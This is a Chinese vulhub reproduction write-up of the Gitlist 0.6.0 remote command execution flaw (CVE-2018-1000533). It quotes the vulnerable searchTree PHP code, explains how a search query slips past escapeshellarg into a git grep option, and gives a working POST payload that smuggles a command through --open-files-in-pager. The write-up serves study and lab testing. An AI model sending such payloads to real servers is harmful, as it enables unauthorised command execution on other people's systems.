vulhub漏洞复现-Gitlist 0.6.0(cve-2018-1000533)远程命令执行漏洞
·
Gitlist
gitlist是一款使用PHP开发的图形化git仓库查看工具。
思路
在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
其中,$query是搜索的关键字,$branch是搜索的分支,知道grep函数的应该就能看懂,从分支里面搜索关键字。
为什么会出现这个漏洞,首先这里经过escapeshellarg处理后就会变成能正常执行的shell参数,如果用户输入的$query = --open-files-in-pager=id;是作为-e的参数去执行,那就是正常的,也就是说这只是一个字符串,一个附带的参数值,就像这样
git grep -i --line-number -e '--open-files-in-pager=id;' master
但--open-files-in-pager=id;如果直接作为grep的参数,那就可以执行<id>命令
git grep -i --line-number --open-files-in-pager=id; master
对于两个参数的解释看手册git-grep(1) Manual Page
漏洞复现
这里我们改成POST包,访问/example/tree/a/search,其中example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"中的$branch,但因为我们的$query被当成了一个参数,所以$branch就应该被当做搜索的关键字,关键字如下。
抓包添加POST参数
query=--open-files-in-pager=touch /tmp/a

进入后台查看,执行成功
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)